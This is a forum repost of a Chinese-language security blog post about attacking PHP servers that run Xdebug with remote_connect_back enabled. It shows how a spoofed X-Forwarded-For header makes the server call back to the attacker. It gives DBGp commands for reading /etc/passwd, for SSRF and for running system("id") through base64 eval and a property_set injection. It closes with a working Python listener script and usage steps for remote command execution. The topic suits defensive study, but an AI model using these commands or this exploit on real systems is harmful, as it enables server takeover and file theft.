搜索
查看: 830|回复: 0

Xdebug: A Tiny Attack Surface

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-9-19 21:52:05 | 显示全部楼层 |阅读模式

原文链接:https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

0x00 About Xdebug

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。

Xdebug 调试 PHP 的主要流程为:

  • 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  • 返回一个 XDEBUG_SESSION 的 Cookie
  • 服务器作为客户端,根据配置文件中的 xdebug.remote_host 和 xdebug.remote_port 连接服务端(开发者的机器)
  • 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php

Xdebug 的配置比较简单,大体步骤为:

  • 下载源码,phpize、编译
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目录下创建 xdebug.ini

攻击面所需要的环境中, xdebug.ini 内容为:

  1. xdebug.remote_connect_back = 1
  2. xdebug.remote_enable = 1
  3. xdebug.remote_log =  /tmp/test.log
复制代码

在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,参见 百度关于 xdebug.remote_connect_back 的搜索结果,而我们的攻击面也是建立在这条配置上的。
逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。

0x02 Read The Manaul

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

    • Core Commands > source
    • Extended Commands > eval
    • Extended Commands > interact - Interactive Shell
    • Core Commands > property_set

source 可以读取文件内容,eval is the eval。

1. source
  1. source -i transaction_id -f fileURI
复制代码


transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir。

利用方式:

  1. source -i 1 -f file:///etc/passwd
复制代码

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

2. eval
  1. eval -i transaction_id -- {DATA}
复制代码
{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):
  1. eval -i 1 -- c3lzdGVtKCJpZCIpOw==
复制代码
3. interact

Xdebug 没有实现这个,放弃吧。

4. property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

  1. /* Do the eval */
  2.     eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
  3.     res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);
复制代码

利用方式:

  1. property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw==
  2. property_get -n $a -i 1 -c 1 -p 0
复制代码
0x03 Detect Xdebug & Exploit

说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。

当 X-Forwarded-For 的地址的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。

那么,怎么方便的利用呢?

  1. #!/usr/bin/python2
  2. import socket

  3. ip_port = ('0.0.0.0',9000)
  4. sk = socket.socket()
  5. sk.bind(ip_port)
  6. sk.listen(10)
  7. conn, addr = sk.accept()

  8. while True:
  9.     client_data = conn.recv(1024)
  10.     print(client_data)

  11.     data = raw_input('>> ')
  12.     conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
复制代码

储存为 xdebug_exp.py,然后:

  • 服务端监听端口,等待反弹 shell
  • curl 触发 Xdebug,连接服务端
  • 服务端获取到,发送命令执行的代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表